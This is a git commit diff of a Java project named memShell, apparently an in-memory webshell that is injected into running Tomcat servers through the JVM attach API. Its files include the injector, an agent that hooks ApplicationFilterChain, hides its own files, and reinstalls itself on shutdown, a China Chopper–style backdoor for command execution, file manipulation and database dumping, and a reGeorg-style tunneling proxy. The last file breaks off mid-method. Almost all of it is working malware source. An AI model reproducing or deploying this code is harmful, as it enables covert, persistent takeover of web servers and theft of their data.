first commit

.classpath

@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.6">
+		<attributes>
+			<attribute name="maven.pomderived" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="src" output="target/classes" path="src">
+		<attributes>
+			<attribute name="optional" value="true"/>
+			<attribute name="maven.pomderived" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER">
+		<attributes>
+			<attribute name="maven.pomderived" value="true"/>
+		</attributes>
+	</classpathentry>
+	<classpathentry kind="lib" path="C:/Program Files/Java/jdk1.7.0_21/lib/tools.jar"/>
+	<classpathentry kind="con" path="org.eclipse.jst.server.core.container/org.eclipse.jst.server.tomcat.runtimeTarget/Apache Tomcat v7.0"/>
+	<classpathentry kind="output" path="target/classes"/>
+</classpath>

.fatjar

@@ -0,0 +1,14 @@
+#Fat Jar Configuration File
+#Wed May 23 12:38:25 CST 2018
+onejar.license.required=true
+manifest.classpath=
+manifest.removesigners=true
+onejar.checkbox=false
+jarname=E\:/agent.jar
+manifest.mergeall=true
+manifest.mainclass=Attach
+manifest.file=src\\META-INF\\MANIFEST.MF
+jarname.isextern=true
+onejar.expand=
+excludes=<jar|tools.jar>;<jar|annotations-api.jar>;<jar|catalina-ant.jar>;<jar|catalina-ha.jar>;<jar|catalina-tribes.jar>;<jar|catalina.jar>;<jar|ecj-4.4.2.jar>;<jar|el-api.jar>;<jar|jasper-el.jar>;<jar|jasper.jar>;<jar|jsp-api.jar>;<jar|servlet-api.jar>;<jar|tomcat-api.jar>;<jar|tomcat-coyote.jar>;<jar|tomcat-dbcp.jar>;<jar|tomcat-i18n-es.jar>;<jar|tomcat-i18n-fr.jar>;<jar|tomcat-i18n-ja.jar>;<jar|tomcat-jdbc.jar>;<jar|tomcat-util.jar>;<jar|tomcat7-websocket.jar>;<jar|websocket-api.jar>
+includes=

.project

@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+	<name>memShell</name>
+	<comment></comment>
+	<projects>
+	</projects>
+	<buildSpec>
+		<buildCommand>
+			<name>org.eclipse.jdt.core.javabuilder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+		<buildCommand>
+			<name>org.eclipse.m2e.core.maven2Builder</name>
+			<arguments>
+			</arguments>
+		</buildCommand>
+	</buildSpec>
+	<natures>
+		<nature>org.eclipse.m2e.core.maven2Nature</nature>
+		<nature>org.eclipse.jdt.core.javanature</nature>
+	</natures>
+</projectDescription>

.settings/org.eclipse.jdt.core.prefs

@@ -0,0 +1,12 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
+org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
+org.eclipse.jdt.core.compiler.compliance=1.6
+org.eclipse.jdt.core.compiler.debug.lineNumber=generate
+org.eclipse.jdt.core.compiler.debug.localVariable=generate
+org.eclipse.jdt.core.compiler.debug.sourceFile=generate
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning
+org.eclipse.jdt.core.compiler.source=1.6

.settings/org.eclipse.m2e.core.prefs

@@ -0,0 +1,4 @@
+activeProfiles=
+eclipse.preferences.version=1
+resolveWorkspaceProjects=true
+version=1

pom.xml

@@ -0,0 +1,27 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+  <groupId>ParaShell</groupId>
+  <artifactId>ParaShell</artifactId>
+  <version>0.0.1-SNAPSHOT</version>
+  <build>
+    <sourceDirectory>src</sourceDirectory>
+    <plugins>
+      <plugin>
+        <artifactId>maven-compiler-plugin</artifactId>
+        <version>3.6.1</version>
+        <configuration>
+          <source>1.6</source>
+          <target>1.6</target>
+        </configuration>
+      </plugin>
+    </plugins>
+  </build>
+  <dependencies>
+  <!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
+<dependency>
+    <groupId>org.javassist</groupId>
+    <artifactId>javassist</artifactId>
+    <version>3.22.0-GA</version>
+</dependency>
+    </dependencies>
+</project>

src/META-INF/MANIFEST.MF

@@ -0,0 +1,3 @@
+Manifest-Version: 1.0 
+Agent-Class: net.rebeyond.memshell.Agent
+Can-Retransform-Classes: true

src/net/rebeyond/memshell/Agent.java

@@ -0,0 +1,240 @@
+package net.rebeyond.memshell;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.lang.instrument.Instrumentation;
+import java.lang.management.ManagementFactory;
+import java.lang.management.RuntimeMXBean;
+import java.net.HttpURLConnection;
+import java.net.InetAddress;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.Set;
+
+import javax.management.MBeanServer;
+import javax.management.ObjectName;
+import javax.management.Query;
+
+public class Agent {
+	public static String className = "org.apache.catalina.core.ApplicationFilterChain";
+	public static byte[] injectFileBytes = new byte[] {}, agentFileBytes = new byte[] {};
+	public static String currentPath;
+	public static String password = "rebeyond";
+
+	public static void agentmain(String agentArgs, Instrumentation inst) {
+		inst.addTransformer(new Transformer(), true);
+		if (agentArgs.indexOf("^") >= 0) {
+			Agent.currentPath = agentArgs.split("\\^")[0];
+			Agent.password = agentArgs.split("\\^")[1];
+		} else {
+			Agent.currentPath = agentArgs;
+		}
+		System.out.println("Agent Main Done");
+		Class[] loadedClasses = inst.getAllLoadedClasses();
+		for (Class c : loadedClasses) {
+			if (c.getName().equals(className)) {
+				try {
+					inst.retransformClasses(c);
+				} catch (Exception e) {
+					// TODO Auto-generated catch block
+					e.printStackTrace();
+				}
+			}
+		}
+
+		try {
+			initLoad();
+			readInjectFile(Agent.currentPath);
+			readAgentFile(Agent.currentPath);
+			clear(Agent.currentPath);
+		} catch (Exception e) {
+			// 为了隐蔽,不要打印异常信息
+		}
+		Agent.persist();
+	}
+
+	public static void persist() {
+		try {
+			Thread t = new Thread() {
+				public void run() {
+					try {
+						writeFiles("inject.jar", Agent.injectFileBytes);
+						writeFiles("agent.jar", Agent.agentFileBytes);
+						startInject();
+					} catch (Exception e) {
+
+					}
+				}
+			};
+			t.setName("shutdown Thread");
+			Runtime.getRuntime().addShutdownHook(t);
+		} catch (Throwable t) {
+
+		}
+	}
+
+	public static void writeFiles(String fileName, byte[] data) throws Exception {
+		String tempFolder = System.getProperty("java.io.tmpdir");
+		FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName);
+		fso.write(data);
+		fso.close();
+	}
+
+	public static void readInjectFile(String filePath) throws Exception {
+		String fileName = "inject.jar";
+		File f = new File(filePath + File.separator + fileName);
+		if (!f.exists()) {
+			f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
+		}
+		InputStream is = new FileInputStream(f);
+		byte[] bytes = new byte[1024 * 100];
+		int num = 0;
+		while ((num = is.read(bytes)) != -1) {
+			injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0, num));
+		}
+		is.close();
+	}
+
+	public static void readAgentFile(String filePath) throws Exception {
+		String fileName = "agent.jar";
+		File f = new File(filePath + File.separator + fileName);
+		if (!f.exists()) {
+			f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName);
+		}
+		InputStream is = new FileInputStream(f);
+		byte[] bytes = new byte[1024 * 100];
+		int num = 0;
+		while ((num = is.read(bytes)) != -1) {
+			agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num));
+		}
+		is.close();
+	}
+
+	public static void startInject() throws Exception {
+		Thread.sleep(2000);
+		String tempFolder = System.getProperty("java.io.tmpdir");
+		String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " + Agent.password;
+		Runtime.getRuntime().exec(cmd);
+	}
+
+	public static void main(String[] args) {
+		try {
+			readAgentFile("e:/");
+			String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
+
+			String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0,
+					tempPath.lastIndexOf("/"));
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+
+	static byte[] mergeByteArray(byte[]... byteArray) {
+		int totalLength = 0;
+		for (int i = 0; i < byteArray.length; i++) {
+			if (byteArray[i] == null) {
+				continue;
+			}
+			totalLength += byteArray[i].length;
+		}
+
+		byte[] result = new byte[totalLength];
+		int cur = 0;
+		for (int i = 0; i < byteArray.length; i++) {
+			if (byteArray[i] == null) {
+				continue;
+			}
+			System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
+			cur += byteArray[i].length;
+		}
+
+		return result;
+	}
+
+	public static void clear(String currentPath) throws Exception {
+		Thread clearThread = new Thread() {
+			String currentPath = Agent.currentPath;
+
+			public void run() {
+				try {
+					Thread.sleep(5000);
+					String injectFile = currentPath + "inject.jar";
+					String agentFile = currentPath + "agent.jar";
+					new File(injectFile).getCanonicalFile().delete();
+					String OS = System.getProperty("os.name").toLowerCase();
+					if (OS.indexOf("windows") >= 0) {
+						try {
+							unlockFile(currentPath);
+						} catch (Exception e) {
+							//pass
+						}
+					}
+					new File(agentFile).delete();
+				} catch (Exception e) {
+					//pass
+				}
+			}
+		};
+		clearThread.start();
+
+	}
+
+	public static void unlockFile(String currentPath) throws Exception {
+		String exePath = currentPath + "foreceDelete.exe";
+		InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe");
+		FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath());
+		byte[] bytes = new byte[1024 * 100];
+		int num = 0;
+		while ((num = is.read(bytes)) != -1) {
+			fos.write(bytes, 0, num);
+			fos.flush();
+		}
+		fos.close();
+		is.close();
+		Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid());
+		try {
+			process.waitFor();
+		} catch (InterruptedException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+		new File(exePath).delete();
+	}
+
+	public static String getCurrentPid() {
+		RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
+		return runtimeMXBean.getName().split("@")[0];
+	}
+
+	public static void initLoad() throws Exception {
+		MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer();
+		Set<ObjectName> objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"),
+				Query.match(Query.attr("protocol"), Query.value("HTTP/1.1")));
+		String host = InetAddress.getLocalHost().getHostAddress();
+		String port = objectNames.iterator().next().getKeyProperty("port");
+		String url = "http" + "://" + host + ":" + port;
+		String[] models = new String[] { "model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.",
+				"model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" };
+		for (String model : models) {
+			String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model;
+			openUrl(address);
+		}
+	}
+
+	public static void openUrl(String address) throws Exception {
+		URL url = new URL(address);
+		HttpURLConnection urlcon = (HttpURLConnection) url.openConnection();
+		urlcon.connect(); // 获取连接
+		InputStream is = urlcon.getInputStream();
+		BufferedReader buffer = new BufferedReader(new InputStreamReader(is));
+		StringBuffer bs = new StringBuffer();
+		String l = null;
+		while ((l = buffer.readLine()) != null) {
+			bs.append(l).append("/n");
+		}
+	}
+}

src/net/rebeyond/memshell/Attach.java

@@ -0,0 +1,59 @@
+package net.rebeyond.memshell;
+import java.io.File;
+import java.util.List;
+
+import com.sun.tools.attach.VirtualMachine;
+import com.sun.tools.attach.VirtualMachineDescriptor;
+
+public class Attach {
+
+	public static void main(String[] args) throws Exception {
+
+		if (args.length!=1)
+		{
+			System.out.println("Usage:java -jar inject.jar password");
+			return;
+		}
+		VirtualMachine vm = null;
+		List<VirtualMachineDescriptor> listAfter = null;
+		List<VirtualMachineDescriptor> listBefore = null;
+		listBefore = VirtualMachine.list();
+		String password=args[0];
+		String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
+		currentPath=currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
+		String agentFile = currentPath + "agent.jar";
+		agentFile = new File(agentFile).getCanonicalPath();
+		String agentArgs=currentPath;
+		if (!password.equals("")||password!=null)
+		{
+			agentArgs=agentArgs+"^"+password;
+		}
+		
+		while (true) {
+			try {
+				listAfter = VirtualMachine.list();
+				if (listAfter.size() <= 0)
+					continue;
+				for (VirtualMachineDescriptor vmd : listAfter) {
+					if (!listBefore.contains(vmd)) {
+						vm = VirtualMachine.attach(vmd);
+						listBefore.add(vmd);
+						System.out.println("[+]OK.i find a jvm.");
+						Thread.sleep(1000);
+						if (null != vm) {							
+							vm.loadAgent(agentFile, agentArgs);
+							System.out.println("[+]memeShell is injected.");
+							vm.detach();
+							return;
+						}
+					}
+				}
+				Thread.sleep(5000);
+				
+			} catch (Exception e) {
+				e.printStackTrace();
+			}
+		}
+
+	}
+}

src/net/rebeyond/memshell/Evaluate.java

@@ -0,0 +1,356 @@
+package net.rebeyond.memshell;
+
+
+import java.io.BufferedInputStream;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.io.PrintWriter;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.ResultSet;
+import java.sql.ResultSetMetaData;
+import java.sql.Statement;
+import java.text.SimpleDateFormat;
+
+
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+
+import net.rebeyond.memshell.redefine.MyRequest;
+import net.rebeyond.memshell.redefine.MyResponse;
+import net.rebeyond.memshell.redefine.MyServletContext;
+import net.rebeyond.memshell.redefine.MyServletOutputStream;
+
+public class Evaluate  {
+
+	private static final long serialVersionUID = 1L;
+	
+	String Pwd = "023";
+	String cs = "UTF-8";
+	
+	String EC(String s) throws Exception {
+		return new String(s.getBytes("ISO-8859-1"),cs);
+	}
+
+	Connection GC(String s) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Class.forName(x[0].trim());
+		if(x[1].indexOf("jdbc:oracle")!=-1){
+			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+		}else{
+			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
+			if (x.length > 4) {
+				c.setCatalog(x[4]);
+			}
+			return c;
+		}
+	}
+
+	void AA(StringBuffer sb) throws Exception {
+		File r[] = File.listRoots();
+		for (int i = 0; i < r.length; i++) {
+			sb.append(r[i].toString().substring(0, 2));
+		}
+	}
+
+	void BB(String s, StringBuffer sb) throws Exception {
+		File oF = new File(s), l[] = oF.listFiles();
+		String sT, sQ, sF = "";
+		java.util.Date dt;
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		for (int i = 0; i < l.length; i++) {
+			dt = new java.util.Date(l[i].lastModified());
+			sT = fm.format(dt);
+			sQ = l[i].canRead() ? "R" : "";
+			sQ += l[i].canWrite() ? " W" : "";
+			if (l[i].isDirectory()) {
+				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
+			} else {
+				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
+			}
+		}
+		sb.append(sF);
+	}
+
+	void EE(String s) throws Exception {
+		File f = new File(s);
+		if (f.isDirectory()) {
+			File x[] = f.listFiles();
+			for (int k = 0; k < x.length; k++) {
+				if (!x[k].delete()) {
+					EE(x[k].getPath());
+				}
+			}
+		}
+		f.delete();
+	}
+
+	void FF(String s, ServletResponse r) throws Exception {
+		int n;
+		byte[] b = new byte[512];
+		//r.reset();
+		MyResponse.reset(r);
+		//ServletOutputStream os = r.getOutputStream();
+		Object os = MyResponse.getOutputStream(r);
+		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
+		//os.write(("->" + "|").getBytes(), 0, 3);
+		MyServletOutputStream.write(os,("->" + "|").getBytes(), 0, 3);
+		while ((n = is.read(b, 0, 512)) != -1) {
+			MyServletOutputStream.write(os,b, 0, n);
+		}
+		MyServletOutputStream.write(os,("|" + "<-").getBytes(), 0, 3);
+		//os.close();
+		MyServletOutputStream.close(os);
+		is.close();
+	}
+
+	void GG(String s, String d) throws Exception {
+		String h = "0123456789ABCDEF";
+		File f = new File(s);
+		f.createNewFile();
+		FileOutputStream os = new FileOutputStream(f);
+		for (int i = 0; i < d.length(); i += 2) {
+			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
+		}
+		os.close();
+	}
+
+	void HH(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		if (sf.isDirectory()) {
+			if (!df.exists()) {
+				df.mkdir();
+			}
+			File z[] = sf.listFiles();
+			for (int j = 0; j < z.length; j++) {
+				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
+			}
+		} else {
+			FileInputStream is = new FileInputStream(sf);
+			FileOutputStream os = new FileOutputStream(df);
+			int n;
+			byte[] b = new byte[512];
+			while ((n = is.read(b, 0, 512)) != -1) {
+				os.write(b, 0, n);
+			}
+			is.close();
+			os.close();
+		}
+	}
+
+	void II(String s, String d) throws Exception {
+		File sf = new File(s), df = new File(d);
+		sf.renameTo(df);
+	}
+
+	void JJ(String s) throws Exception {
+		File f = new File(s);
+		f.mkdir();
+	}
+
+	void KK(String s, String t) throws Exception {
+		File f = new File(s);
+		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+		java.util.Date dt = fm.parse(t);
+		f.setLastModified(dt.getTime());
+	}
+
+	void LL(String s, String d) throws Exception {
+		URL u = new URL(s);
+		int n = 0;
+		FileOutputStream os = new FileOutputStream(d);
+		HttpURLConnection h = (HttpURLConnection) u.openConnection();
+		InputStream is = h.getInputStream();
+		byte[] b = new byte[512];
+		while ((n = is.read(b)) != -1) {
+			os.write(b, 0, n);
+		}
+		os.close();
+		is.close();
+		h.disconnect();
+	}
+
+	void MM(InputStream is, StringBuffer sb) throws Exception {
+		String l;
+		BufferedReader br = new BufferedReader(new InputStreamReader(is));
+		while ((l = br.readLine()) != null) {
+			sb.append(l + "\r\n");
+		}
+	}
+
+	void NN(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
+		while (r.next()) {
+			sb.append(r.getString(1) + "\t");
+		}
+		r.close();
+		c.close();
+	}
+
+	void OO(String s, StringBuffer sb) throws Exception {
+		Connection c = GC(s);
+		String[] x = s.trim().split("\r\n");
+		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
+		while (r.next()) {
+			sb.append(r.getString("TABLE_NAME") + "\t");
+		}
+		r.close();
+		c.close();
+	}
+
+	void PP(String s, StringBuffer sb) throws Exception {
+		String[] x = s.trim().split("\r\n");
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1007);
+		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
+		ResultSetMetaData d = r.getMetaData();
+		for (int i = 1; i <= d.getColumnCount(); i++) {
+			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
+		}
+		r.close();
+		m.close();
+		c.close();
+	}
+
+	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
+		Connection c = GC(s);
+		Statement m = c.createStatement(1005, 1008);
+		BufferedWriter bw = null;
+		try {
+			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
+			ResultSetMetaData d = r.getMetaData();
+			int n = d.getColumnCount();
+			for (int i = 1; i <= n; i++) {
+				sb.append(d.getColumnName(i) + "\t|\t");
+			}
+			sb.append("\r\n");
+			if(q.indexOf("--f:")!=-1){
+				File file = new File(p);
+				if(q.indexOf("-to:")==-1){
+					file.mkdir();
+				}
+				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
+			}
+			while (r.next()) {
+				for (int i = 1; i <= n; i++) {
+					if(q.indexOf("--f:")!=-1){
+						bw.write(r.getObject(i)+""+"\t");
+						bw.flush();
+					}else{
+						sb.append(r.getObject(i)+"" + "\t|\t");
+					}
+				}
+				if(bw!=null){bw.newLine();}
+				sb.append("\r\n");
+			}
+			r.close();
+			if(bw!=null){bw.close();}
+		} catch (Exception e) {
+			sb.append("Result\t|\t\r\n");
+			try {
+				m.executeUpdate(q);
+				sb.append("Execute Successfully!\t|\t\r\n");
+			} catch (Exception ee) {
+				sb.append(ee.toString() + "\t|\t\r\n");
+			}
+		}
+		m.close();
+		c.close();
+	}
+	
+	public void doGet(ServletRequest request, ServletResponse response)
+			throws Exception {
+		doPost(request, response);
+	}
+
+	public void doPost(ServletRequest request, ServletResponse response)throws Exception {
+		//cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
+		cs = MyRequest.getParameter(request, "z0") != null ? MyRequest.getParameter(request, "z0") + "":cs;
+		//response.setContentType("text/html");
+		//response.setCharacterEncoding(cs);
+		MyResponse.setContentType(response, "text/html");
+		MyResponse.setCharacterEncoding(response,cs);
+		PrintWriter out = MyResponse.getWriter(response);
+		StringBuffer sb = new StringBuffer("");
+		try {
+			String Z = EC(MyRequest.getParameter(request, Pwd) + "");
+			String z1 = EC(MyRequest.getParameter(request, "z1") + "");
+			String z2 = EC(MyRequest.getParameter(request, "z2") + "");
+			sb.append("->" + "|");
+			Object obj=MyRequest.getServletContext(request);
+			String s =MyServletContext.getRealPath(obj,"/");
+			if (Z.equals("A")) {
+				sb.append(s + "\t");
+				if (!s.substring(0, 1).equals("/")) {
+					AA(sb);
+				}
+			} else if (Z.equals("B")) {
+				BB(z1, sb);
+			} else if (Z.equals("C")) {
+				String l = "";
+				BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
+				while ((l = br.readLine()) != null) {
+					sb.append(l + "\r\n");
+				}
+				br.close();
+			} else if (Z.equals("D")) {
+				BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
+				bw.write(z2);
+				bw.close();
+				sb.append("1");
+			} else if (Z.equals("E")) {
+				EE(z1);
+				sb.append("1");
+			} else if (Z.equals("F")) {
+				FF(z1, response);
+			} else if (Z.equals("G")) {
+				GG(z1, z2);
+				sb.append("1");
+			} else if (Z.equals("H")) {
+				HH(z1, z2);
+				sb.append("1");
+			} else if (Z.equals("I")) {
+				II(z1, z2);
+				sb.append("1");
+			} else if (Z.equals("J")) {
+				JJ(z1);
+				sb.append("1");
+			} else if (Z.equals("K")) {
+				KK(z1, z2);
+				sb.append("1");
+			} else if (Z.equals("L")) {
+				LL(z1, z2);
+				sb.append("1");
+			} else if (Z.equals("M")) {
+				String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
+				Process p = Runtime.getRuntime().exec(c);
+				MM(p.getInputStream(), sb);
+				MM(p.getErrorStream(), sb);
+			} else if (Z.equals("N")) {
+				NN(z1, sb);
+			} else if (Z.equals("O")) {
+				OO(z1, sb);
+			} else if (Z.equals("P")) {
+				PP(z1, sb);
+			} else if (Z.equals("Q")) {
+				QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
+			}
+		} catch (Exception e) {
+			sb.append("ERROR" + ":// " + e.toString());
+		}
+		sb.append("|" + "<-");
+		out.print(sb.toString());
+	}
+
+}

src/net/rebeyond/memshell/Proxy.java

@@ -0,0 +1,109 @@
+package net.rebeyond.memshell;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.UnknownHostException;
+import java.nio.ByteBuffer;
+import java.nio.channels.SocketChannel;
+
+import net.rebeyond.memshell.redefine.MyRequest;
+import net.rebeyond.memshell.redefine.MyResponse;
+import net.rebeyond.memshell.redefine.MyServletInputStream;
+import net.rebeyond.memshell.redefine.MyServletOutputStream;
+import net.rebeyond.memshell.redefine.MySession;
+
+public class Proxy {
+	public void doProxy(Object request, Object response) throws Exception {
+		Object httpSession = MyRequest.getSession(request);
+		String cmd = MyRequest.getHeader(request, "X-CMD");
+		if (cmd != null) {
+			MyResponse.setHeader(response, "X-STATUS", "OK");
+			if (cmd.compareTo("CONNECT") == 0) {
+				try {
+					String target = MyRequest.getHeader(request, "X-TARGET");
+					int port = Integer.parseInt(MyRequest.getHeader(request, "X-PORT"));
+					SocketChannel socketChannel = SocketChannel.open();
+					socketChannel.connect(new InetSocketAddress(target, port));
+					socketChannel.configureBlocking(false);
+					MySession.setAttribute(httpSession, "socket", socketChannel);
+					MyResponse.setHeader(response, "X-STATUS", "OK");
+				} catch (UnknownHostException e) {
+					System.out.println(e.getMessage());
+					MyResponse.setHeader(response, "X-ERROR", e.getMessage());
+					MyResponse.setHeader(response, "X-STATUS", "FAIL");
+				} catch (IOException e) {
+					System.out.println(e.getMessage());
+					MyResponse.setHeader(response, "X-ERROR", e.getMessage());
+					MyResponse.setHeader(response, "X-STATUS", "FAIL");
+
+				}
+			} else if (cmd.compareTo("DISCONNECT") == 0) {
+				SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket");
+				try {
+					socketChannel.socket().close();
+				} catch (Exception ex) {
+					System.out.println(ex.getMessage());
+				}
+				MySession.invalidate(httpSession);
+			} else if (cmd.compareTo("READ") == 0) {
+				SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket");
+				try {
+					ByteBuffer buf = ByteBuffer.allocate(512);
+					int bytesRead = socketChannel.read(buf);
+					// ServletOutputStream so = response.getOutputStream();
+					Object so = MyResponse.getOutputStream(response);
+					while (bytesRead > 0) {
+						// so.write(buf.array(),0,bytesRead);
+						// so.flush();
+						MyServletOutputStream.write(so, buf.array(), 0, bytesRead);
+						MyServletOutputStream.flush(so);
+						buf.clear();
+						bytesRead = socketChannel.read(buf);
+					}
+					// response.setHeader("X-STATUS", "OK");
+					MyResponse.setHeader(response, "X-STATUS", "OK");
+					// so.flush();
+					// so.close();
+					MyServletOutputStream.flush(so);
+					MyServletOutputStream.close(so);
+
+				} catch (Exception e) {
+					System.out.println(e.getMessage());
+					MyResponse.setHeader(response, "X-ERROR", e.getMessage());
+					MyResponse.setHeader(response, "X-STATUS", "FAIL");
+					// socketChannel.socket().close();
+				}
+
+			} else if (cmd.compareTo("FORWARD") == 0) {
+				SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket");
+				try {
+
+					int readlen = MyRequest.getContentLength(request);
+					byte[] buff = new byte[readlen];
+					// request.getInputStream().read(buff, 0, readlen);
+					Object ins = MyRequest.getInputStream(request);
+					MyServletInputStream.read(ins, buff, 0, readlen);
+					ByteBuffer buf = ByteBuffer.allocate(readlen);
+					buf.clear();
+					buf.put(buff);
+					buf.flip();
+
+					while (buf.hasRemaining()) {
+						socketChannel.write(buf);
+					}
+					MyResponse.setHeader(response, "X-STATUS", "OK");
+					// response.getOutputStream().close();
+
+				} catch (Exception e) {
+					System.out.println(e.getMessage());
+					MyResponse.setHeader(response, "X-ERROR", e.getMessage());
+					MyResponse.setHeader(response, "X-STATUS", "FAIL");
+					socketChannel.socket().close();
+				}
+			}
+		} else {
+			// PrintWriter o = response.getWriter();
+			// out.print("Georg says, 'All seems fine'");
+			MyResponse.getWriter(response).print("Georg says, 'All seems fine'");
+		}
+	}
+}

src/net/rebeyond/memshell/Shell.java

@@ -0,0 +1,290 @@
+package net.rebeyond.memshell;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.PrintWriter;
+import java.lang.reflect.Method;
+import java.net.HttpURLConnection;
+import java.net.Socket;
+import java.net.URL;
+import java.net.URLConnection;
+import java.security.cert.CertificateException;
+import java.util.Base64;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.X509TrustManager;
+import javax.security.cert.X509Certificate;
+import javax.servlet.ServletContext;
+import javax.servlet.ServletException;
+import javax.servlet.ServletOutputStream;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpSession;
+
+public class Shell {
+
+	public static String execute(String cmd) throws Exception {
+		String result = "";
+		if (cmd != null && cmd.length() > 0) {
+
+			Process p = Runtime.getRuntime().exec(cmd);
